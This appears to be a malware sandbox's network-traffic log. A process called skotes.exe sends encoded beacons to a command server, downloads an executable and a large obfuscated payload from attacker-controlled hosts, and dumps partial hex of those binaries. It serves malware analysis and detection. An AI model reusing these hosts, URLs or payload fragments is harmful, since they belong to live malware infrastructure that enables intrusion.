Nov 25, 2024 07:55:07.699639082 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 25, 2024 07:55:09.263967991 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 06:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 39 36 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 39 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 39 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 39 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008960001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008961001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008962001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008963001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008964001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	52184	31.41.244.11	80	7248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:55:09.388842106 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 07:55:10.816659927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 06:55:10 GMT Content-Type: application/octet-stream Content-Length: 4414976 Last-Modified: Mon, 25 Nov 2024 04:54:03 GMT Connection: keep-alive ETag: "674402eb-435e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 e0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 c6 00 00 04 00 00 40 e9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 c8 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 c8 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@@C@ _qs px'@.rsrc p'@.idata q'@ 9q'@rmijescy '@yoxmxstw6C@.taggant0"<C@
Nov 25, 2024 07:55:10.816678047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:55:10.816689968 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:55:10.816803932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:55:10.816817045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lS^n\|`k,fO]S[f\|JS
Nov 25, 2024 07:55:10.816829920 CET	1236	IN	Data Raw: 3e b6 e0 b0 f0 03 a3 c7 42 37 89 0b 30 cf ea 9b 8b b1 48 74 4b 67 e3 d4 37 73 73 af 92 7e 7f 27 2e 72 5a a0 e8 c6 f6 5b 3c f9 39 3e e4 74 de c4 df 18 a7 48 cb b3 ad 9d 55 62 3f c3 0c 0f 7e ed 0f 7f 41 93 44 79 72 3d a9 ce 01 4b 3a 11 65 cb e2 39 Data Ascii: >B70HtKg7ss~'.rZ[<9>tHUb?~ADyr=K:e9Sg:(/XG#s[^fz_eSS0=H!A}!ZWI#SZ[[9#XKBmB(VtA%&OKoxUf~dbq,'JqL
Nov 25, 2024 07:55:10.816840887 CET	1236	IN	Data Raw: 15 8f 6f 3b 3b 7e 7f bd 14 62 fc 31 b4 3d 73 18 ba d7 d3 f1 76 e3 ba 23 15 87 e4 a7 9b e1 96 54 8e 21 cd 86 81 b0 67 af 75 d0 7f 27 1b e2 fc 1a 1e dc a3 4c 8c 2f b9 40 8a 29 e7 38 13 4e 2f 06 22 a7 51 e9 36 a4 25 95 4f 73 d6 d0 4a ff e4 01 a5 a6 Data Ascii: o;;~b1=sv#T!gu'L/@)8N/"Q6%OsJlPVAiPMNwN{LqsV;Uwinx(Cq-d}QV9w^ZLrH?VH\|DS[_xS;7\|2C"Ye+iRV
Nov 25, 2024 07:55:10.816854000 CET	896	IN	Data Raw: 6f 2d 10 cd b6 d1 54 7c 75 4b 74 95 96 2f 82 89 5f 7f bd 8b 14 20 77 49 87 60 5f bb ae 7e 13 a4 8e ef 6d 7c 90 ff 3f e1 ea 62 ad e7 4d 72 62 f8 74 9b 64 07 e3 e4 65 59 e5 db b3 05 36 60 ff 5f 70 ee a9 f7 97 7b c6 1a 92 c9 91 72 8d 02 65 5e d8 23 Data Ascii: o-T\|uKt/_ wI`_~m\|?bMrbtdeY6`_p{re^#O2Z{ _$y_ey{\|3lTk%[}:"KND/t7%VSW\l`3Jqv$.I6@{&v_y.uA0-pI^48Ol(X/)LLqFYkP
Nov 25, 2024 07:55:10.816868067 CET	1236	IN	Data Raw: 40 1a 50 4e 37 21 5f 0f f4 b7 c2 c3 ce 79 ff ea b4 df 59 56 97 ed 0e 47 8a 83 b7 8f 72 0e cb cb d0 a0 ea 1f 5b 9c 8f f6 5e a3 82 d0 0f 61 f4 34 15 46 35 45 13 3b a8 0f 44 77 4f da 88 b7 b8 2b 7e 9e 4c 31 8b f0 54 75 5d 92 ca 7f 97 cc 99 e6 f1 6f Data Ascii: @PN7!_yYVGr[^a4F5E;DwO+~L1Tu]oDh+>MkjC"ktg}Cdx;v#!Q`7WD(8B#!q\|<@{Gg"AO$rbncP-yn41JYwFO[EaDoV/\
Nov 25, 2024 07:55:10.816879034 CET	224	IN	Data Raw: 08 b7 f5 35 f4 3d 64 3c 73 91 10 de 60 fb 52 a2 a0 d4 4b d4 8b 9a 74 04 c6 8f 77 06 30 cd f3 5a 58 39 63 31 1f 84 a7 ab b0 47 c4 44 17 2a cd 42 da 9b 80 14 84 98 43 11 7e e2 73 4f 9a 7f 77 05 82 aa c4 62 90 7e 60 4d 43 f9 45 4e 5e 97 60 4b 8a e2 Data Ascii: 5=d<s`RKtw0ZX9c1GDBC~sOwb~`MCEN^`K8\MLuFv\`law[Su{{B{0>xSEjKx'+_!O?^$bZAtu LrJ>D<tHy{,`E'_Y#
Nov 25, 2024 07:55:10.936544895 CET	1236	IN	Data Raw: 1c 0b 6e 6d 3e 1f 5c 3f 8d 61 73 2b b6 75 59 c7 d5 c6 63 cf f6 f4 33 04 9d 8a 93 1f 92 a9 f0 08 3f fb 76 1d 24 8b 27 79 49 9f 5a 10 54 31 5c 3f 60 c2 4a 01 fd 58 43 f6 ae a3 40 e8 48 24 4b 3c 89 1d 61 48 f6 a8 ed 79 88 aa a1 9e 2a 04 fa 1f 69 8e Data Ascii: nm>\?as+uYc3?v$'yIZT1\?`JXC@H$K<aHy*iX`6'wUQYQUQgwfrR_#z`ykcv=DP0N_&k:&F\%HrX&= Z9boV4"OuH lvs+E<)sg%~Y(JWc.=e7%v

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	52210	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:55:21.098642111 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 25, 2024 07:55:22.525188923 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 25 Nov 2024 06:55:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 25, 2024 07:55:22.525212049 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 25, 2024 07:55:22.525223970 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 25, 2024 07:55:22.525302887 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 25, 2024 07:55:22.525315046 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 25, 2024 07:55:22.526293993 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 25, 2024 07:55:22.526318073 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 25, 2024 07:55:22.526329994 CET	1236	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 25, 2024 07:55:22.526427031 CET	1236	IN	Data Raw: 08 0e d1 7d 8a 52 c9 be 69 d8 e5 9d d1 00 d0 55 c5 87 82 ce d7 d1 ca 69 be fd 71 99 5c 54 66 4b a1 cd b8 e2 c2 02 78 bf e6 ef 7a 01 4c 6a 15 3c 0f 62 bb bf 8b 54 2c bd de f4 05 20 5a ec 24 3a 37 f4 55 5a 34 8e 12 75 e9 4f 2e 0a 95 45 cc 01 f9 66 Data Ascii: }RiUiq\TfKxzLj<bT, Z$:7UZ4uO.Ef&`z#"][mmJ4(t<d:TAGtNn)CD,p^i8V"Y=er>`QQ29_%q2/"MX(`OsTAt\@`x
Nov 25, 2024 07:55:22.526439905 CET	736	IN	Data Raw: e5 79 5d 24 42 ce 7c 56 10 26 41 55 fe de 3b 20 03 b1 c2 47 63 14 61 88 83 5f 30 ee c8 0f b1 bd ce 17 88 b0 c9 58 84 eb 93 99 2e f1 0f 64 62 cc ee 57 41 66 2c 6e 3b 90 2c 15 48 64 e3 81 84 5e ed f5 9c 3e 83 42 a3 05 be 47 02 f2 87 c0 5c 51 8f 8b Data Ascii: y]$B\|V&AU; Gca_0X.dbWAf,n;,Hd^>BG\QI)g\|RIS\|j=b@//}{2Gf\|3U^h3H8l1p]Nq$`T>=[[&7+$?+yk9}3.x;FcQ
Nov 25, 2024 07:55:22.644979954 CET	1236	IN	Data Raw: 5c 26 d9 e1 02 59 d6 5a 88 fc 21 bc 6a 50 3d 20 ca dd bd 3e 4b bb 5a 21 bb b6 e9 ca cf 38 bb 14 28 8c 0d 1f 97 cc 56 3f 18 41 7a 1d 1a 9d 67 4a 85 5b 92 8b 3b 1e bf d8 44 8a 35 69 2b 1e 56 16 fc 59 b3 36 40 c3 4f 78 27 8d f3 52 56 ff 2a 78 b3 c8 Data Ascii: \&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%DvRXVi?_81HVma(u<hVxv2oj

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 6c 70 4e 72 6a 52 66 62 45 47 56 70 51 44 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 61 66 37 38 38 36 39 30 61 38 33 30 34 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: DlpNrjRfbEGVpQD8.1Context: 6baf788690a83041
2024-11-25 06:53:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 06:53:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 6c 70 4e 72 6a 52 66 62 45 47 56 70 51 44 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 61 66 37 38 38 36 39 30 61 38 33 30 34 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: DlpNrjRfbEGVpQD8.2Context: 6baf788690a83041<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-25 06:53:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 44 6c 70 4e 72 6a 52 66 62 45 47 56 70 51 44 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 61 66 37 38 38 36 39 30 61 38 33 30 34 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: DlpNrjRfbEGVpQD8.3Context: 6baf788690a83041<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 06:53:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 06:53:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 6a 43 77 50 70 4c 73 36 30 65 45 70 6e 34 41 48 54 77 4a 39 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: OjCwPpLs60eEpn4AHTwJ9g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-25 06:53:13 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
